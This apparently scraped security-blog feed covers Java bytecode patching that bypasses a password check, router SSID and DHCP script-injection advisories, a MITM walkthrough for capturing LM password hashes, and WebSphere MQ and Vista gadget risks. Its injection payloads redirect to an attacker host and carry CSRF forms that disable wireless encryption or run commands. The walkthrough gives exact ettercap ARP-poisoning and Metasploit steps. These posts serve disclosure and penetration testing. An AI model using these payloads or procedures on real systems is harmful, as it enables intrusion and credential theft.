However, every now and then, we stumble upon more complex scenarios, for instance, an application whose code has been obfuscated causing decompilation errors. In that case it will no longer be enough to decompile, modify the code and compile again, we would need some other technique. Patching the .class file at the bytecode level sounds like a reasonable approach.

Imagine that the class below (Protected) represents the original class we are dealing with. Remember that we would not have access to this code, instead, we would have been given a compiled an obfuscated version of it (different method names, class names and variable names). Also imagine that the class is substantially more complex and has a number of obscure routines that break the decompilation process.

import java.util.Random;
 
class Protected
{
 
  public static boolean checkPassword(String password)
  {
    return String.valueOf( new Random().nextInt() ).equals(password);
  }
 
  public static void main(String[] argv)
  {
    if (argv.length != 1)
    {
      System.err.println(&quote;Please provide a password.&quote;);
      return;
    }
 
    if ( checkPassword(argv[0]) )
    {
      System.out.println("Success");
    }
    else
    {
      System.out.println("Failure");
    }
  }
}

When compiled (javac Protected.java) and run, the result would be as follows:

$ java Protected p4ssword
Failure

In the obfuscated code scenario you would need to use debugging techniques to identify the relevant code (checkout JSwat for this). So, after hours of going through the decompiled obfuscated code, we have managed to identify that Protected is the class and checkPassword() is the method we want to focus our attention on.

In order to inject at the bytecode level we are going to use Javassist, the Java Programming Assistant. From their website:

[...] it enables Java programs to define a new class at runtime and to modify a class file when the JVM loads it.

Which is exactly what we want to do So here is how you would bypass the checkPassword method by manipulating the bytecode of the class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

import javassist.*;
 
class Injector
{
 
  public static void main(String[] argv) throws Exception
  {
    // Load the 'Protected' class representation
    ClassPool pool = ClassPool.getDefault();
    CtClass cc = pool.get("Protected");
 
    // Find the method we want to patch and rename it 
    // (we will be creating a new method with the original name).
    CtMethod m_old = cc.getDeclaredMethod("checkPassword");
    m_old.setName( "checkPassword$impl" );
 
    // Create a new method with the same name as the old one
    CtMethod m_new = CtNewMethod.copy(m_old, "checkPassword", cc, null);
 
    // Provide the new method's implementation
    StringBuilder sb = new StringBuilder();
    sb.append( "{ return true; }" );
    m_new.setBody( sb.toString() );
 
    // Add the new method to the class. Patch the .class file
    cc.addMethod( m_new );
    cc.writeFile();
 
    System.out.println("Injection  complete. List of methods:");
    CtMethod[] methods = cc.getDeclaredMethods();
    for( int i=0; i<methods.length ; i++)
    {
      System.out.println( "\t" + methods[i].getLongName() );
    }
  }
}

When run, the Injector application will patch the Protected.class file with a new implementation of the checkPassword() method.

$ javac -cp .:javassist.jar Injector.java
$ java -cp .:javaassist.jar Injector
Injection complete. Methods in class Protected:
    Protected.checkPassword$impl(java.lang.String)
    Protected.main(java.lang.String[])
    Protected.checkPassword(java.lang.String)
$ java Protected p4ssword
Success

This is just a simple example of what can be accomplished with a framework such as Javassist. Check the References section below for additional information.

References

• Sample code at GitHub: http://github.com/usefulfor/
• Javassist (Java Programming Assistant)
• Class transformation with Javassist

Generate the certificate using OpenSSL:-

$ openssl genrsa 1024 > foo.key
$ openssl req -new -x509 -nodes -sha1 -days 7300 -key foo.key > foo.crt
$ openssl pkcs12 -export -out foo.p12 -in foo.crt -inkey foo.key -name "your name"

You will need the .p12 file (contains key and certificate) to configure Burp. And the .crt file to add it to the Java keystore used by the client. Checkout Burp's help page for instructions on how to get the first done.

Create a Java keystore, import the certificate

Straightforward enough (just remember the password you entered):

keytool.exe -import -file foo.crt -keystore usefulfor.jks -alias burpcert

Run the application and point it to your keystore

java \
  -Djavax.net.ssl.trustStore=usefulfor.jks \
  -Djavax.net.ssl.trustStorePassword=password \
  -Djavax.net.debug=all  \
  com.usefulfor.Demo

Other interesting properties that you may need in order to further tweak the SSL configuration are javax.net.ssl.keyStore and javax.net.ssl.keyStorePassword.

An attacker could set up a fake AP with a malicious payload in the Service Set Identifier (SSID). The malicious SSID would be displayed in the ‘Neighbour’s Access Points Table’ page of the administrative interface and would be executed when an administrator scanned for APs.

Circumstances

Device providing an administrative web interface with a ‘Neighbourhood Wireless Scan’ functionality.

Cause

The device administrative web interface does not properly sanitise parameters that are passed to it from identified access points.

Exploitation

An attacker could set up a fake access point broadcasting specially crafted 802.11 ‘beacon’
packets containing a malicious payload in the SSID.

The malicious SSID will be displayed in the ‘Neighbor’s Wireless Networks’ page of the affected device administrative interface and will be executed when an administrator scans for wireless access points.

Impact

Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could fully compromise the affected system.

Dependencies

• The attacker would need to be in wireless range of the affected device. However, nowadays, antennas are available which can dramatically increase the distance that can exist between an attacker and their target
• SSIDs have a maximum length of 32 characters and this would not normally be sufficient to inject a usable malicious payload for an attack. However, an attacker could set up two fake access points and deliver a payload using the combined content of both SSIDs. A payload of 64 characters would be enough to redirect a user’s browser to a malicious web server.

Attack Technique

1. An attacker sets up two fake AP broadcasting specially crafted 802.11 beacon packets containing a malicious payload in the SSID

SSID of the first access point: -

<script>location=/*

SSID of the second access point: -

*/"http://attacker";</script>

A malicious SSID combined together with the use of JavaScript comment tags (/* */) will make the following payload usable in an attack.

<script>location="http://attacker";</script>

2. This malicious SSIDs will be displayed in the 'Neighbour's Wireless' page of the affected device administrative interdace and will be executed when an administrator scans for wireless APs

3. The malicious payload references to a script hosted in the attacker's web server. Below it can be seen an example of the malicious script hosted in the attacker's web server. This code will vary depending on the affected device.

<html>
<body onload="javascript:document.forms.wpa.submit();">
<form name="wpa" action="http://192.168.1.1/apply.cgi" method="POST">
<input type="hidden" name="submit_button" value="WL_WPATable" />
<input type="hidden" name="action" value="ApplyTake" />
<input type="hidden" name="change_action" value="gozila_cgi" />
<input type="hidden" name="submit_type" value="save" />
<input type="hidden" name="security_varname" />
<input type="hidden" name="security_mode_last" />
<input type="hidden" name="wl_wep_last" />
<input type="hidden" name="filter_mac_value" />
<input type="hidden" name="wl0_security_mode" value="disable" />
</form>
</body>
</html>

4. The malicious script hosted in the attacker's web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator's browser to make a POST request to the wireless encryption functionality (apply.cgi) and disables the device's wireless encryption.

Tool: SSID Script Injection [1]

Advisory: DD-WRT SSID Script Injection Vulnerability [1]

Demo: DD-WRT SSID Script Injection Attack [1]

White paper: Behind Enemy Lines [1] [2]

]]> http://usefulfor.com/security/2008/08/04/ssid-script-injection/feed/ 4 http://usefulfor.com/security/2008/08/04/dhcp-script-injection/ http://usefulfor.com/security/2008/08/04/dhcp-script-injection/#comments Mon, 04 Aug 2008 09:39:45 +0000 rdv http://usefulfor.com/security/?p=93 A number of administrative applications are available which allow users to manage a network DHCP server via a web interface. This allows administrators to set up configuration options and view active DHCP leases.

it was found that a large number of these administrative web applications did not properly sanitise parameters that were passed to them from the DHCP server and therefore an attacker. In particular, a specially crafted DHCPREQUEST message containing malicious JavaScript or HTML code in the DHCP Options Hostname field could be sent to the DHCP server; the malicious code would then be displayed in the DHCP active leases page of the vulnerable administrative application and would be executed when an administrator visited the page.

Circumstances

Device providing an administrative web interface with a DHCP management functionality.

Cause

The device administrative web interface does not properly sanitise parameters that are passed to it from the DHCP server.

Exploitation

If a specially crafted DHCPREQUEST message containing malicious code in the Hostname DHCP Options field is sent to the affected DHCP server; this will be displayed in the DHCP active leases page of the device administrative interface and will be executed when an administrator visits this page.

Impact

Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could remotely execute commands in the affected system.

Dependencies

• The attacker would have to be connected to the network segment on which the affected device was located.
• The DHCP server would also need to be active and to provide the attacker’s system with an IP address.

Attack Technique

1. An attacker connected to the same wired network as the affected device could send a specially crafted DHCPREQUEST message containing a malicious payload in the DHCP Options Hostname field

<iframe height=0 width=0 src='http://attacker-web-server/'>

2. This payload would then be passed from the DHCP server to the admin web interface and executed when the DHCP active leases page was visited by an administrator

3. The malicious payload in the DHCP Options Hostname field references to a script hosted in the attacker's web server. Below it can be seen an example of the malicious script hosted in the attacker's web server. This code will vary depending on the affected device.

<html>
<body onload="javascript:document.forms.frmExecPlus.submit();">
<form name="frmExecPlus" action="https://target/exec.php" method="POST">
<input name="txtCommand" type="hyden" size="80" value="whoami">
<input type="hidden" value="Execute">
</form>
</body>

4. The malicious script hosted in the attacker's web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator's browser to make a POST request to the command execution functionality (exec.php) and executes the desired command.

Tool: DHCP Script Injection [1]

Advisory: pfSense DHCP Script Injection Vulnerability [1] [2]

Demo: pfSense DHCP Script Injection Attack [1]

White paper: Behind Enemy Lines [1] [2]

In the last article (middleware and me (part-1)) we looked at the concept of Middleware security and why it is often a neglected area. In this article we are moving on to look in detail at the security features that can be employed to protect this type of software. For the purposes of these discussions we are going to be focussing on the IBM Websphere MQ product, hopefully in the future I will be able to contrast these discussions against the security controls employed by a number of other messaging technologies.

If you are going to understand how to secure an installation of Websphere MQ it is important to think about the risks it can expose. Often it is used in critical applications and therefore any vulnerabilities in the technology can be mapped directly to the business risk. In this discussion we are going to focus on our fictional company of Widget Corp. They make widgets which are low cost fixings used for a number of different purposes by a wide range of different customers.

The company is formed of several individual business units and has decided to use Websphere MQ in its manufacturing process. The typical business process flow of an individual business unit is as follows: -

For more information about the fictional Widget Corp please refer to the Websphere MQ Security White Paper (mirror #1, mirror #2).).

Given the importance of this process the greatest risks to the business in order of significance are as follows: -

• Loss of Availability – With a low cost and therefore profit per unit it is vital that the number of widgets that are produced is maximised. The transfer of messages from the customers to the manufacturing plant is what keeps this process moving and therefore any unavailability in the system means loss of manufacturing time. In addition, if customers do not receive their orders on time they will take their business elsewhere.
• Damage to Integrity – Customers want their orders when they are promised to them but they also want the correct order to arrive. If the integrity of the message data is affected then orders might not be manufactured, may be delivered to the wrong customer or may contain errors. In any of these situations a customer will not be happy and will turn to an alternative supplier.
• Breach of Confidentiality – The messages being transferred across the business contain a large amount of information that would either be of interest to a competitor or would disclose information about the customer. If this data were obtained it could be used either for competitive advantage or for use in negative publicity against the company. This could result in damage to the brand or more effective competition from other companies in the industry.
• Lack of Accountability – When facing an audit it is vital that the company be able to demonstrate how its business process is transparent and can not be used for illegitimate purposes. Failure to be able to demonstrate this could result in fines or other action being taken if the company is suspected of engaging in such activities.

These risks highlight how the security of the Middleware used by Widget Corp is of critical importance to its ongoing success. These risks can be directly mapped to a number of common security requirements and are common across all technologies and products. If you are examining a technology with such a close match to a fundamental business process it is important not to shy away from the importance of understanding the actual requirements for security controls. A mapping of the top three of the previously highlighted business risks against common security requirements is pictured here.

When using the Websphere MQ product there are a number of security features that can be used to meet these security requirements. An understanding of the relationship between these requirements and the features is critical and can be observed here: -

As can be observed in the diagram there are three primary security features that are available within Websphere MQ when considering network based access to the software. Each of these features is described briefly with respect to its functionality and the potential impact on the system if it is not used: -

• SSL and TLS Encryption – A wide range of ciphers can be configured to protect any communication of Websphere MQ data across a network including enforcing a requirement for a system to present a client certificate at connection time. The use of a given cipher or client certificate controls can be tested for on a channel by channel basis and the error codes that are returned enable the status to be accurately determined. Failure to use these controls could result in traffic sniffing attacks being a viable method for compromising data confidentiality and integrity.
• MCAUSER – Each channel can be protected with a user context under which the messaging transactions take place. This can be reviewed by investigating channel settings using Inquire commands which are standard Websphere MQ operations. If MCAUSERs are not defined it could enable a user to access objects for which they have not been granted authorisation to do so.
• Security Exit – An external application can be defined which MQ hands off the responsibility of user authentication to and can enforce both user and IP addresses restrictions. If an exit has been configured for a channel Websphere MQ it will indicate this when attempting to connect. If a security exit is not defined for a channel it means that no user authentication can occur, system authentication can still occur using SSL but this has no direct mapping to user based access control on the Websphere MQ system itself.

When examining the technology it is important that the role of each of these be understood, how their presence can be tested for and in which circumstances they are required. Given that these security controls are available it could be assumed that they are always utilised. However, this is a false assumption and often one if not all of these features are either not used or not used with appropriate coverage. Therefore, on the majority of installations there are plenty of security vulnerabilities just waiting to be discovered by someone who looks in sufficient detail.

This article has provided a basic overview of the mapping between risk and security controls associated with the Websphere MQ product and the features that can be enabled. For more information about these have a read of the white paper discussed earlier. Next time I will begin to discuss how a security assessment from the perspective of a penetration tester can be mapped out and will examine some new features of dradis that can help this to be achieved.

Goal:

To retreive a client's currently logged in credentials through manipulation of their HTTP stream (via a MITM attack). Most of the clients seen during various internal tests were pretty well firewalled and patched. However by manipulating a client's HTTP stream it was possible to have them send their username and the majority of their password hash.

Conditions:

So as with most things there are some conditions that must be inplace for this to be successful and also requirements that the credential snarfer must have sorted. Client Conditions:-:

• The target client must be using a version of IE for their browsing. During testing IE appears to be the only browser that by default sends through the resonse to the challenge of the locally logged in user that we're after.
• Must be on same netowrk segment, for the MITM attack to work of course.
• Only LANMAN hashes can be obtained this way. If the client has been configured to support NTLM only then we lose. Most default installs will not be set up this way, you may encounter more secure setups in some corporate environments.
• Only the first 7 characters are in the tables. Youll have to brute force the rest of the password.

Attacker's Rig:

• Some LMHALFCHALL rainbow tables: halflmchall_all-space_1-7.torrent (54gig) -or- halflmchall_alpha-numeric_1-7.torrent (5gig)
• Metasploit, plus Kurt Grutzmacher's exploit module smb_server.pm from here (this does not work on Windows):
  • http://metasploit.com/tools/: Looking for Framework v.2.7
  • smb_sniffer.pm
• Ettercap plus an ettercap filter to rewrite the victims web pages LMHC_etter.filter.
• Cain & Abel to perform the crypt analysis of the LMHALFCHALLENGE hashes recovered. As far as I know these rainbow tables for LMHC were created with the Cain & Abel utility winrtgen and therefore are incompatible with the patched version of rcrack.

Attacker Process:

• Fix up the IP address in the LMHC_etter.filter file to represent the host you'll be running Metasploit 2.7 & the smbsniffer exploit module from.
• Compile that with:

  etterfilter.exe -o LMHC_etter.ef LMHC_etter.filter

• Unpack Metasploit 2.7 from tha above link, place smb_sniffer.pm under the exploits/ directory.
• Install and run as root
• Metasploit commands :

  framework-2.7 $ sudo ./msfconsole msf > use smb_sniffer msf smb_sniffer > set PWFILE=/tmp/smb_sniffed.pw3

  So the SMBsniffer is waiting listening for connections fro the victims IE. So we need to rewrite some of their web requests to ensure they pass us their LMHALFCHALLENGE hashes.

• Run up ettercap using our compiled filter from earlier, to perfom the arp poisoning attack with the following:

  ettercap -Tq -M arp:remote -F /mnt/LMHC_etter.ef /GATEWAY ADDRESS/ /VICTIM ADDRESS/

• When the page gets rewritten correctly IE will attempt to make the connection and send the logged in user credentials to your waiting server.
• Resulting in a Pwdump compliant output file called smb_sniffed.pw3
• Switch to Cain & Abel for the hash cracking
• Select the hash you want to crack, right click and select Cryptanalysis Attack->HALFLM Hashes + challenge->via RainbowTables, add the tables, and crack it.

Some Other Things To Play With In The Same Eenvironment:

LSO: MSFweb 3.0 part 2 (via Milw0rm videos)

This post is the first in a series on the subject of enterprise messaging and in particular on IBM's flavour of it. The objective of these posts will be to remove some of the confusion about its purpose, the technologies and the methods of securing it. Hopefully this will help both security testers and other interested parties to feel confident about this important area of IT security.

When it comes to security testing a business application, how comfortable are you? The answer to that question will probably depend on a number of factors including the following: -

• Is it an internal or external test?
• What technologies are involved?
• What is the business process the application is used for?

Depending on the requirements for testing we might only be asked to look at the web front-end to the application. Or we might be asked to do an internal test of the entire application infrastructure. However, in reality there are lots of business applications that look like the following: -

So why is the big question mark in the middle of the picture? In reality that is a gap in most testing methodologies or in the requirements provided to testers by their clients. In reality the question mark could represent any of the following: -

• The bit of the process the client didn't ask to be tested.
• The part of the application I don't understand.
• The software products and solutions that don't appear in books on hacking or security testing.
• A cloud through which data passes that I don't need to understand.

Therefore, if we want to test a business application against its security requirements we have a big black hole. We know what the risks associated with the web application and database are? We know how to test the web server and database but what sits in the middle. In an enterprise environment the answer is usually as follows: -

So what is this mystical middleware that we hear so much about but never get to see? In the majority of cases it will involve a messaging or transport application whose responsibility it is to get data to the application that needs it. There are lots of such applications available including Microsoft Message Queuing (MSMQ), Sun Message Queue, IBM Websphere MQ and ActiveMQ.

So if these products exist, how do we test them? Unfortunately I can't provide an all encompassing answer for that question, but I can tell you all about one of these products, namely IBM's Websphere MQ. So whether you are interested in Websphere MQ itself, security testing in general or just the risks associated with messaging applications you should have a read of my new white paper on the subject:
Websphere MQ Security White Paper (mirror #1).

The white paper is the first of a series of documents that I intend to produce on the subject and covers a wide range of issues associated with both the product and messaging applications in general. All audiences are catered for, from those with managerial roles in IT through to integrators and security testers. I hope you find the document interesting and if you would like more information on the subject be sure to check out the slides from my Defcon presentation last year: MQ Jumping - Defcon 15 Presentation (mirror #1).

On the next part of this series of blog posts I will be talking about the security architecture of Websphere MQ, stay tuned

An input validation mechanism designed to block cross-site scripting attacks performs the following sequence of steps on an item of input:

1.- strip any <script> expressions that appear
2.- truncate the input to 50 characters
3.- remove any quotation marks within the input
4.- url-decode the input
5.- if any items were deleted, return to step 1

how would you bypass it?

Gadgets are easy to install, to use and can be easily developed by any Vista user. They can enhance efficiency; they can be fun and can look good on a desktop. Windows Vista includes various gadgets by default, such as a calendar, calculator and currency converter. In addition, a large number of organisations have gadgets for download and use, such as London Underground, Amazon, ebay, etc.

Gadgets can be perceived by users as fun and harmless; but their characteristics can make of Gadgets a potential risk for Vista users. They run with the permissions of the logged on user and operate outside of IE’s Protected Mode. Additionally, gadgets will usually communicate with a remote server to obtain information and a rich gadget API which contains some potentially dangerous methods is available.

At the present time there are two main classes of gadget attacks: -

Malicious Gadgets

These are hostile applications you get tricked into running and can compromise your system or capture sensitive information. There is massive scope for a malicious gadget attack:-

• Executing commands on the local system
• Connect back shell
• Password Gathering
• Denial of Service
• Phishing

Insecure Gadgets

These are poorly written gadgets that contain vulnerabilities that could allow remote command execution on the affected system.

Consider a gadget that connects to a remote web server and retrieves information about the latest news. Suppose an attacker compromised the remote server from where the gadget receives information or can alter network traffic between the user and the remote server.

The attacker could change the data returned to the gadget which is usually rendered as HTML/JavaScript. If the code is written insecurely the attacker could inject Gadget API calls, which could enable remote code execution to occur.

Lots of gadgets have popped up from both “Amateurs” and Development Companies. Of the Gadgets that we have tested a large number are vulnerable to the script injection attack.

During this research a large number of gadgets were identified to be vulnerable to script injection attacks. Two widely used gadgets identified to be vulnerable to this type of attack were publicly disclosed as proof of concepts . Information about these two gadgets isssues can be found in the following locations:-

ITN News Gadget

National Rail Live Enquiries Departure Board Gadget

Conclusion

This is the start of the Gadget era and already there are lots of ideas about potential attacks, such as script injection, cross site scripting, worms, parser bugs, tricking users, malicious code, etc. In the majority of these attacks these aren’t new dangers but are another approach for attackers.

At this early stage of gadgets, a large number or gadgets are vulnerable to attacks and a number of dangers exist. This indicates a potential explosion of attacks given the current state of gadget security.

More detailed information about the dangers of gadgets, example attacks, demonstrations and best practices and recommendations can be found in the following white paper:

Considerations for the Secure Rollout of Sidebar Gadgets on Windows Vista [1] [2]